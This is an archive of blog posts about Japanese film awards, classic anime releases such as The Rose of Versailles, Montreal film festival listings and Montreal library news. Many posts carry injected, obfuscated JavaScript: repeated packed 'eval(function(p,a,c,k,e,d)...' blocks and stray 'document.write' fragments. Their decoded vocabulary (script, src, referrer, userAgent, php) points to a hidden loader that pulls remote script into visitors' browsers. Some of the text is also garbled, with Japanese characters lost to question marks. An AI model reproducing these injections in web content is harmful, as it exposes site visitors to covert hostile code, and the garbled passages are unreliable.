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36th Japan Academy Prize Nominees

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Last January, the nominees for the 36th Japan Academy Prize (aka the Japanese Academy Awards) were announced on the Japan Academy Prize Association website [ in japanese: 第36回日本アカデミー賞 ] :

The nominees for Best Picture of the year (2013) are:

The nominees for Best Director of the year (2013) are:

  • Shinji Higuchi & Isshin Inudo (The Floating Castle)
  • Junji Sakamoto (A Chorus of Angels))
  • Masato Harada (Chronicle Of My Mother)
  • Yasuo Furuhata (Dearest)
  • Daihachi Yoshida (The Kirishima Thing)

The nominees for Best Animation of the year (2013) are:

Here we are listing only the categories that are of interest for our blog, but you’ll find more details on ALL the nominees on the AsianWiki. You’ll find also some information (mostly about the anime category and the anime- & manga-related nominations) on Anime News Network.

The award winners will be announced on March 8, 2013, so stay tuned!

Update (2013-03-10): Award winners have been highlighted in red. You can find the full result on my entry on the “36th Japan Academy Prize Winners” as well as check the AsianWiki and Anime News Network for more details.

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The Rose of Versailles

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Yesterday, document.write(“”); Viki (the Asian content streaming site) posted an update for their iOS app and this reminded me that they had announced in September that they would stream The Rose of Versailles (See ANN & Wikipedia). I had completely forgotten! So, without losing a moment, I took my iPad out and watched the first episode. I haven’t screened a classic anime in a very long time and I felt great. I really miss watching anime daily… (now I just have to find time to watch more episodes. BTW, they are still streaming Oniisama E…). It is really great, so please take the time to watch a few episodes of The Rose of Versailles!
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At about the same time (a few days earlier), Right Stuf’s Nozomi Entertainment announced the DVD Release of The Rose of Versailles Part 1 Limited Edition. The first set will be available on May 7, 2013 (it will include 4 discs, 480 minutes (20 episodes), Japanese audio with English subtitles and on-screen translations, $49.99 US, suggested for age 13+).

The original manga by Riyoko Ikeda was first serialized in Shueisha’s shoujo anthology magazine Margaret in 1972-73 before being collected in 10 volumes. It was so popular that it was adapted in a live-action movie and several stage musicals by the famous Takarazuka Revue troupe. In 1979-80, it was also adapted into a 40-episode anime series by TMS under the direction of Tadao Nagahama and Osamu Dezaki. The Right Stuf’s dvd set will be the very first english language release of this series.

Set before the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman who was raised (and military trained) by her father as a man. Following a duel, Oscar is appointed Commander of the French Royal Guards in order to protect Marie-Antoinette, the fiancé of the prince and future king, Louis-Auguste. For more details, check rov.rightstuf.com.

The anime and the manga are also available in French at your Montreal’s local library.

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Oniisama E… on Viki

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Just a quick note to let you know that I just realized that the superb classic anime Oniisama E… a.k.a. Dear Brother [info: ANN / Wikipedia] is currently streaming on Viki.com! Based on a manga by Riyoko Ikeda serialized in Margaret in 1975, document.write(“”); the 39-episode anime series, directed by Osamu Dezaki, aired on NHK in 1991-92.
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I never really had the chance to watch it so here is the best opportunity to do it legally (I just need to find some time!). I highly recommend you to take a look too.

By the way, Viki has an excellent app in the iTunes store for both iPhones and iPads. Check that too!

So far, Viki’s anime line-up offers mostly stuff from Tezuka (strangely enough, Oniisama E… was animated by Tezuka Productions!) but I am sure more great titles will eventually be added (Lady Oscar / The Rose of Versailles is coming in December anyway).

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Press Release: Right Stuf, Inc. Acquires The Rose of Versailles

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Nozomi Ent. to release classic anime as limited-edition DVD sets in 2013 and to conduct fan Q&A with creator Riyoko Ikeda; Viki to begin streaming series in December 2012.
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GRIMES, document.write(“”); Iowa, Sept. 12, 2012 – Anime producer and distributor Right Stuf, Inc. is pleased to announce the acquisition of The Rose of Versailles anime series from TMS Entertainment.

Also known as “Berusaiyu no Bara” and “Lady Oscar,” The Rose of Versailles will be released via Right Stuf’s Nozomi Entertainment as two limited-edition DVD box sets in 2013. The series will also be streamed, beginning in December 2012, and made available exclusively to fans in the United States and Canada on Viki (Viki.com), as part of the site’s growing anime lineup. This will be the first time the entire anime series will be available to English-speaking audiences in North America.

Additionally, Nozomi Entertainment wants fans’ questions for an upcoming Q&A interview with Riyoko Ikeda, the creator of The Rose of Versailles. Please submit questions, via the form located at the official series site (rov.Right Stuf.com), by 4 p.m. CDT on Thurs., Nov. 1, 2012.

Right Stuf‘s President and CEO Shawne Kleckner said, “The Rose of Versailles is one of anime and manga’s truly legendary and iconic stories. It is an honor and privilege to bring this beloved series to DVD, via Nozomi Entertainment, and work with TMS and Viki to introduce our English-subtitled translation of the anime inspired by Ms. Ikeda’s masterwork to North American fans.”

“We’re thrilled to work with Right Stuf to bring The Rose of Versailles to fans in North America and add this famous title to our growing library of classic anime,” said Razmig Hovaghimian, Viki CEO.

“The Rose of Versailles has been released several times in multiple formats in many European and Asian countries until now but was never released in North America for the English-speaking audiences. I would like to thank the team at Right Stuf and Viki for making the North American The Rose of Versailles DVD and online release possible. When it comes to amazing shows, you never get tired of watching them, and I believe The Rose of Versailles is one of these shows. It would be a pleasure if the North American fans enjoy The Rose of Versailles as much as I have,” said Katsuki Masai, Deputy Manager of TMS Entertainment, USA, Inc.

Set during the years preceding the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman whose father has raised her as a man – and trained her to be an elite and skilled soldier – so she can succeed him as the commander of the palace guards.

The Rose of Versailles is based upon the best-selling manga (comic) by Riyoko Ikeda (Dear Brother, a.k.a. Oniisama E…), which was originally serialized in Shueisha’s shoujo (girls’) anthology magazine Margaret, from 1972 through 1973, and later collected into 10 volumes. In addition to its anime adaptation, it inspired a short story collection (also written by Ikeda), a French-Japanese live-action film, and multiple musicals staged by Japan’s famed Takarazuka Revue.

This 40-episode anime adaptation of The Rose of Versailles originally aired on Japanese television from October 1979 through September 1980. It features animation by TMS Entertainment, as well as direction by Tadao Nagahama (Romance Robot Trilogy) and Osamu Dezaki (Nobody’s Boy – Remi, Dear Brother, Aim for the Ace!).

For more information about the series and to submit questions for the Q&A with Ms. Ikeda, visit rov.Right Stuf.com.

About RIGHT STUF, INC.
Currently celebrating its 25th year in business, Right Stuf, Inc. was one of the first players in the U.S. Japanese Animation (“anime”) industry, as both an anime producer/distributor and a retailer. Right Stuf works to promote knowledge of its own products, as well as the anime and manga industry, in general, through its online storefront at Right Stuf.com and a variety of media including podcasts and special publications. Its video and print publishing division includes the Nozomi Entertainment, Lucky Penny, and 5 Points Pictures studio-labels.

About NOZOMI ENTERTAINMENT
A publishing division of Right Stuf, Inc., Nozomi Entertainment is its signature label, dedicated to high-quality releases for collectors. True to the Japanese word that inspired its name, Nozomi’s focus is on “what fans want.” By focusing on a limited number of anime properties each year, the Nozomi production team ensures each release receives the care and attention to detail it deserves.

From anime classics like Astro Boy, Kimba and Gigantor to modern comedies, dramas and favorites such as The Irresponsible Captain Tylor, His and Her Circumstances, Gravitation, Ninja Nonsense, The Third: The Girl with the Blue Eye, Emma: A Victorian Romance, Maria Watches Over Us, ARIA, Gakuen Alice, Rental Magica, Dirty Pair, Junj? Romantica and Revolutionary Girl Utena, Nozomi Entertainment releases quality programming for fans of all ages and interests.

For more information, visit www.rightstuf.com and www.nozomient.com.

About Viki
Viki is a global TV site with over 12 million monthly viewers who come to watch their favorite TV shows, movies and other premium content, translated into more than 150 languages by a community of avid fans. With over 1 billion videos viewed and nearly 250 million words translated, Viki uniquely brings global prime-time entertainment to new audiences and unlocks new markets and revenue opportunities for content owners. In 2011, Viki announced $20M in Series B funding from strategic investors including BBC Worldwide and SK Planet, a subsidiary of SK Telecom; as well as from existing investors Greylock Partners, Andreessen Horowitz, Charles River Ventures and Neoteny Labs, among others.

About TMS ENTERTAINMENT, LTD.
TMS Entertainment, Ltd. (better known as TMS), one of the world’s largest and most distinguished animation studios, has rapidly won recognition from the international filmmaking community for its highly acclaimed animation, pioneering techniques and proud commitment to quality. With its headquarters situated in Tokyo under the supervision of a dedicated team of top development, production and design executives, TMS’s growing reputation is reflected by the versatility, artistry and originality of the remarkable volume of programs the company has produced for international markets worldwide. Established in the year 1964, TMS has produced more than 100 features and over 100 TV programming series, in total of 8,000 half hours, for global distribution. TMS also proceeds with restoration projects of the titles to keep its highest quality for the next generation. TMS is proud to uphold our tradition of presenting to you unforgettable images from the finest animation produced anywhere in the world. TMS’s programs have attained worldwide recognition, and we continue to strive for excellence and lead the animation world throughout the century.

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Goldorak enfin en dvd!

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Après la sortie dvd avortée en France et un long litige devant les tribunaux tant français que japonais entre le créateur Gô Nagai et la firme de production Tôei Animation (apparemment Tôei avait vendu les droits en France et produit la version française sans l’accord de Gô Nagai), document.write(“”); le magazine français Animeland nous apprend que “Les 74 épisodes de la série culte Goldorak [info Animeland / ANN] vont enfin ressortir officiellement en français en DVD (…)… au Canada !” La nouvelle a par la suite été confirmée par Le Soleil et un communiqué de presse d’Imavision, qui en sera le distributeur.
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Cette nouvelle est plutôt surprenante, puisque je n’avait pas entendu dire que le litige avait été règlé et qu’on s’attendrait plutôt à voir une sortie dvd d’abord en France et non au Québec. Espérons que cette sortie dvd ne sera pas troublée par les mêmes problèmes qu’avait eut Déclic Images en 2005. Quoiqu’il en soit, Imavision a annoncé la sortie du coffet dvd, en collaboration avec DEP, pour la période des Fêtes 2012. Une distribution sur “diverses plateformes” sera par ailleurs annoncée ultérieurement.

UFO Robo Grendizer / Goldorak © Go Nagai / Dynamic Planning Inc., Toei Animation Co., Ltd. All Rights Reserved.

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Montreal World Film Festival 2012

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In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 36th edition, which will be held from August 23 to September 3. During the twelve days of its duration, the festival will present 432 films from 80 countries, including 212 feature-length movies, 16 medium-length and 204 short films. 212 of those features will be the first film of its director and 216 of those productions will be world or international premieres! You can read more details in the press release announcing this impressive line-up.
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This year the festival is offering us eleven Japanese movies (more than last year): three in competition (including one Canadian co-production and one in the first film competition), three in the World Great category and five in the Focus on World Cinema (including one short).

The World Competition

First Films World Competition

  • Sono Yoru no Samurai (The Samurai That Night): Japan, 2012, 119 min.; Dir./Scr.: Masaaki Akahori (based on a play by himself); Cast: Sakura Andô, Gô Ayano, Tomorowo Taguchi, Mitsuki Tanimura, Hirofumi Arai, Maki Sakai.

    Nakamura is released from prison after serving five years for killing a woman in a hit-and-run accident. The woman’s husband has vowed revenge.

    Schedule: Sat 9/1 18:40 L9.01.4; Sat 9/1 9:30 L14.01.1; Sun 9/2 16:10 L14.02.4; 9/3 14:20 L14.03.2.

World Great (Out of Competition)

  • Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. See description on AsianWiki.

    Japan, summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.

    Schedule: Sat 8/25 11:00 L9.25.1; Sun 8/26 18:40 L9.26.5.
    Read our commentary on this movie.

  • Nobou no Shiro (The Floating Castle): Japan, 2012, 146 min.; Dir.: Isshin Inudo & Shinji Higushi; Scr.: Ryo Wada (based on his 2007 novel); Mus.: Koji Ueno; Prod: Osamu Kubota; Cast: Mansai Nomura, Koichi Sato, Hiroki Narimiya, Tomomitsu Yamaguchi, Nana Eikura, Honami Suzuki, Masachika Ichimura, Yusuke Kamiji, Takayuki Yamada, Takehiro Hira, Machiko Ono, Mana Ashida, Gin Maeda, Tokyo Dageki Dan, Sohkoh Wada.

    In the year 1590, Toyotomi Hideyoshi is on the verge of conquering all of Japan. One obstacle remains: a floating fortress known as Oshi Castle, defended by only 500 men.

    Schedule: Tue 8/28 18:40 L9.28.4; Wed 8/29 16:30 L15.29.4; Thu 8/30 11:40 L15.30.2.
    Read our commentary on this movie.

  • Itai (Reunion): Japan, 2012, 100 min.; Dir.: Ryoichi Kimizuka (based on a non-fiction book by Ishii Kota); Cast: Nishida Toshiyuki, Ogata Naoto, Katsuji Ryo, Kunimura Jun, Sakai Wakana, Sato Koichi, Sano Shiro, Sawamura Ikki, Shida Mirai, Tsutsui Michitaka, and Yanagiba Toshiro. The story is set in a morgue of Kamaishi, Iwate, in the aftermath of the great March 11th 2011 Tohoku earthquake and tsunami. More details on Tokyo Hive or AsianWiki.

    In March 2011, following the devastating earthquake and subsequent tsunami, a small town on northeastern Japan is faced with the problem of collecting and disposing of the victims’ bodies.

    Schedule: Sat 9/1 21:20 L9.01.5; Sun 9/2 14:00 L14.02.3; Mon 9/3 12:00 L14.03.1.

Focus on World Cinema

  • Kazoku no Kuni (Our Homeland): Japan, 2012, 100 min.; Dir./Scr.: Yong-hi Yang; Phot.: Yoshihisa Toda; Ed.: Takashige Kikui; Mus.: Tarô Iwashiro. Cast: Sakura Andô, Arata, Ik-Joon YangYang, Kotomi Kyôno, Masane Tsukayama, Yoshiko Miyazaki, Tarô Suwa. More details on The Japan Times.

    A Japanese family of Korean origin are torn apart by ideology as they welcome one of their own after 25 years in a “repatriation program.”

    Schedule: Fri 8/31 14:30 L15.31.3; Fri 8/31 21:40 L15.31.6; Sat 9/1 16:30 L15.01.4; Sun 9/2 12:40 L15.02.2.

  • Kon-shin: Japan, 2012, 134 min.; Dir.: Yoshinari Nishikori (based on Kenichi Kawakami novel); Cast: Sho Aoyagi, Ayumi Ito, and Naomi Zaizen. The story revolves around a Sumo wrestler preparing for a big classical Sumo Wrestling tournament held at Mizuwaka Temple on Oki island, Shimane Prefecture.

    Originally, Sumo was not a sport but a sacred ceremony. The classic Sumo culture and practice is still alive on the Oki islands.

    Schedule: Thu 8/30 13:50 L16.30.3; Fri 8/31 16:30 L16.31.4; Sat 9/1 21:00 L16.01.5.

  • Boku no Naka no Otoko no ko (The Little Girl in Me): Japan, 2012, 100 min.; Dir./Scr./Ed.: Shoji Kubota; Cast: Ryoma Baba, Bengaru, Ryûnosuke Kawai, Naoki Kawano, Hôka Kinoshita, Kouta Kusano, Yuri Nakamura, Kiriko Shimizu, Asahi Uchida, Kinuwo Yamada, Yûrei Yanagi.

    Devastated after being fired from his job, Kensuke locks himself up in his room, with only the Internet as his window to the outside. Then he discovers the world of cross-dressing.

    Schedule: Fri 8/31 12:00 L15.31.2; Fri 8/31 19:10 L15.31.5; Sat 9/1 11:50 L15.01.2; Sun 9/2 21:20 L15.02.6.

  • Tsui no Shintaku (The Terminal Trust): Japan, 2012, 144 min.; Dir./Scr.: Masayuki Suo (based on a short story by Saku Tatsuki); Cast: Tamiyo Kusakari, Kôji Yakusho, Takao Osawa, Tadanobu Asano. A movie about euthanasia.

    Shinzo Egi suffers from severe asthma but he does not want to be placed on life support.

    Schedule: Sat 9/1 14:30 L14.01.3; Sun 9/2 9:30 L14.02.1; Sun 9/2 18:40 L14.02.5.

  • B/W Foxes and the Cave of Light: Japan, 2012, 15 min.; dir.: Kiyoshi Endo; Cast: Takuma Wada. Short Film opening for Boku no Naka no Otoko no ko.

    “In a world of black and white, ore dug from the cave is shedding colored light. Mikuro, the “Black Fox” bandit, appears before the white-haired boy Kohaku, who is captured by a gang of thieves.“ (Festival’s program)

    Read our commentary on this movie.

You can read a little more on some of those movies on the Coco Montreal website as their August issue (pages 8-9) offers an article detailing the Japanese movies at the festival.

The Festival Guide Book is now available online and provides the films’ index and schedule in PDF format. (8/15)

The complete, searchable schedule is now available. (8/17)

See some press coverage on the festival:

You can also read the comments of Claude R. Blouin on the japanese movies presented at the festival on the Shomingekiblog.

More details and links will be added as the information become available.

Updated: 8/8 (MWFF teaser, Karakara & Anata e info); 8/9, 8/10, 8/11 (more movies info), 8/15 (more info, schedule & Karakara’s trailer link), 8/16 (a few details), 8/17 (FFM links), 8/27 (press coverage links) & 9/16 (Shomingekiblog link).

R.I.P. Roger

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzbzy|var|u0026u|referrer|rztyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfhrz|var|u0026u|referrer|sdbek||js|php’.split(‘|’),0,{}))
Roger Pelletier
1924-2012
R.I.P. cher oncle

Jeux vidéo en bibliothèques

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezbhi|var|u0026u|referrer|nzdzb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nferb|var|u0026u|referrer|faatn||js|php’.split(‘|’),0,{}))
Certaines bibliothèques de la ville de Montréal offraient déjà des jeux vidéos à leurs usagers. Toutefois, document.write(“”); vendredi dernier, un communiqué de presse du Cabinet du maire et du comité exécutif de la ville nous annoncait que les collections de jeux vidéo des bibliothèques municipales seraient presque quintuplé grâce, entre autres, aux dons généreux de trois entreprises montréalaises dans le domaine de la conception de jeux vidéo.

Avec cette bonification des collections, plus de la moitié des bilbiothèques du réseau offriront à leurs usagers plus de 5 000 jeux vidéo. Une attention toute particulière sera apportée aux productions locales. Pour la liste des bibliothèques participantes ainsi que les conditions de prêts et autres détails, veuillez consulter le site des bibliothèques de Montréal.

Bravo! Quelle belle façon de continuer à diversifier les collections des bibliothèques tout en initiant les jeunes à la culture, au loisir et à la technologie. Sans oublier que c’est une excellente manière de faire augmenter les statistiques de prêts.

Solde de livres des ABM

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Comme toutes les années le solde de livres des <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4276, document.write(“”); 5496140&_dad=portal&_schema=PORTAL” target=”“new””>Amis des Bibliothèques de Montréal se tient à l’Aréna Étienne-Desmarteau du 28 avril au 6 mai, entre 13 h et 19 h.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyebf|var|u0026u|referrer|dzhha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eddtt|var|u0026u|referrer|eeknh||js|php’.split(‘|’),0,{}))

Vous y trouverez toutes sortes de livres qui ont été retiré de la collection des bibliothèques de la ville de Montréal (histoire de faire de la place pour les nouveauté). C’est plus de 90 000 livres et revues offert à très bon prix (50 ¢ pour les livres jeunesse, revues et magazines, cassettes audio et disques; 1 $ pour les livres pour adultes et 2 $ pour les bandes dessinées et dictionnaires).

C’est non seulement une aubaine pour vous mais en achetant vous contribuez à financer les activités d’animation dans les Bibliothèques de Montréal. Tout le monde est gagnant!

Shōwa Day

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Today, document.write(“”); April 29, is Sh?wa Day (???? / Sh?wa no hi) in Japan. This holiday celebrates the birthday of the Sh?wa Emperor (Hirohito, father of the current emperor, Akihito, who “ruled” over Japan from 1926 to 1989). Because of the emperor’s role in the war and the fear it would be seen as glorifying the emperor himself, the holiday was controversial and ceased to be celebrated for a while (1989–2006). It was finally reinstated with the idea that it would rather “encourages public reflection” on the turbulent reign of the emperor.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idtas|var|u0026u|referrer|ttdfb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aerkf|var|u0026u|referrer|dasbr||js|php’.split(‘|’),0,{}))

Sh?wa Day also marks the beginning of the Golden Week (?????????), which is one of the three week-long holidays of the Japanese calendar. Besides Sh?wa Day or the Emperor’s Birthday (????? / Tenn? tanj?bi), it also includes the Constitution Memorial Day (????? / Kenp? kinenbi on May 3rd), the Greenery Day (????? / Midori no hi on May 4) and the Children’s Day (????? / Kodomo no hi on May 5).

Artistes en bibliothèques

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Ces dernières années j’ai travaillé dans de nombreuses bibliothèques et j’ai constaté que mes collègues aide-bibliothécaires venaient de toutes sortes de milieu. Bien sûr plusieurs d’entre eux/elles sont des étudiants du CEGEP ou de l’université qui travaillent à temps partiel afin de payer leurs études mais une grande majorité d’entre eux/elles ont en fait une formation et une culture qui va bien au-delà de ce qu’on pourrait s’attendre (ou même des exigences de l’emploi: un simple DES). Tout comme moi, document.write(“”); ils/elles considèrent souvent ce travail comme une sorte de pré-retraite, une façon de gagner sa vie sans se la compliquer tout en continuant les activités qui leurs sont chères. J’ai rencontré des régisseur de plateau de télévision, des monteurs vidéo, des écrivains, des graphistes, des pressiers, des chercheurs, en fait des gens de toutes sortes (dont plusieurs avaient des diplômes d”études supérieures). J’ai aussi rencontré quelques artistes. Deux d’entre eux exposent actuellement leurs oeuvres et je vous invite à les visiter.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbzit|var|u0026u|referrer|kfyie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hshtr|var|u0026u|referrer|kndes||js|php’.split(‘|’),0,{}))

Je vous ai déjà parlé de Karine Perron. Elle peint sur papier en utilisant diverses techniques : applications d’encres, déchirures et égratignures.

Comme tout les printemps elle expose ses oeuvres au troquet le Cep et le Houblon (situé au 2280, rue Bélanger à Montréal; Pour plus d’informations contactez le 514-727-3333).

L’exposition, cette fois intitulée “À tout vent,” se déroule du 2 au 30 mars 2012. Hâtez-vous de la visiter!

De plus, j’ai récemment découvert Louis Fortier, un sculpteur polyvalent (il utilise tant le plâtre, le ciment, la résine que la cire) dont le sujet de prédilection est la tête (souvent moulée à partir de son propre chef). Son oeuvre est intriguante (c’est une sorte de Dali du visage) et le curriculum de l’artiste est très impressionnant.

Il expose actuellement à la Galerie Donald Browne (située dans l’édifice Belgo au 372 Ste-Catherine Ouest, suite 528, à Montréal; pour plus d’information contactez le 514 380-3221, consultez leur pages web ou Facebook). L’exposition, intitulée “Métamorphoses,” se déroule du 25 février au 14 avril 2012 (la galerie est ouverte du Mercredi au Samedi, de 12h00 à 17h00, ou sur rendez-vous). Certainement à voir.


Crédit photo: Ivan Binet

35th Japan Academy Award Winner

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The Japan Academy Prize Association has just announced the Award winners for its 35th edition (for the nomination see our previous blog entry):

  • Best Picture of the year: Rebirth (“Youkame no Semi”, document.write(“”); dir.: Izuru Narushima)
  • Best Director of the year: Izuru Narushima (Rebirth)
  • Best Animation of the year: From up on Poppy Hill (“Kokuriko-Zaka Kara”, dir.: Goro Miyazaki / Studio Ghibli)
  • Best Actor of the year: Yoshio Harada (Someday)
  • Best Actress of the year: Mao Inoue (Rebirth)
  • Best Supporting Actor of the year: Denden (Cold Fish)
  • Best Supporting Actress of the year: Hiromi Nagasaku (Rebirth)
  • Best Screenplay of the year: Satoko Okudera (Rebirth)
  • Best Music of the year: Goro Yasukawa (Rebirth)
  • Best Cinematography of the year:Junichi Fujisawa (Rebirth)
  • Best Lighting of the year: Masao Kanazawa (Rebirth)
  • Best Art Direction of the year: Yoshinobu Nishioka & Tetsuo Harada (The Last Ronin)
  • Best Sound of the year: Kenichi Fujimoto (Rebirth)
  • Best Editing of the year: Chise Sanjo (Rebirth)
  • Best Foreign Language Film of the year: The King’s Speech

Rebirth is clearly the overall winner!

For more details on the award winners you can check Anime News Network, AsianWiki and the Japan Academy Prize official site.

Internet on strike!

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teeab|var|u0026u|referrer|abahh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nekts|var|u0026u|referrer|rfbzn||js|php’.split(‘|’),0,{}))
Today several big websites went on strike. Don’t worry we won’t follow their example, document.write(“”); but we nevertheless want to bring your attention to the reasons of this protest. More details after the jump:

Today, if you try to access Wikipedia you will get this blacked-out page (click to enlarge):

When governments try to legislate against piracy it is quite difficult to strike a just balance between an effective protection and cencorship. The American Congress and Senate are studying two bills (SOPA & PIPA) designed to fight copyright infringement on the internet. However, many of the companies involved with the internet feel that those bills might leave the door open for abuse in a way that will infringes free expression and hinder the opened nature of the internet. Here’s a few links for more detailed information and, if you feel you agree with Wikipedia and the like, please don’t hesite to protest:

35th Japan Academy Prize Nominees

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After first being leaked on a “test” page of their website, the 35th Japan Academy Prize Nominees (the Japanese Academy Awards / Oscars) have been finally officially announced today. The list of the nominees can be found (in japanese) on the “Japan Academy Prize” website [ 第35回日本アカデミー賞 ] and an english version can also be found on the Asian Media Wiki website. More details after the jump:

Award winners are indicated in red.

Continue reading →

A New “Unshelved” compilation!

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I just read this morning on the Unshelved website that their ninth and latest comic strip compilation is finally out! (if you are wondering what’s Unshelved you can check the “About” page of the website or read my previous comments on this hillarious comic strip).
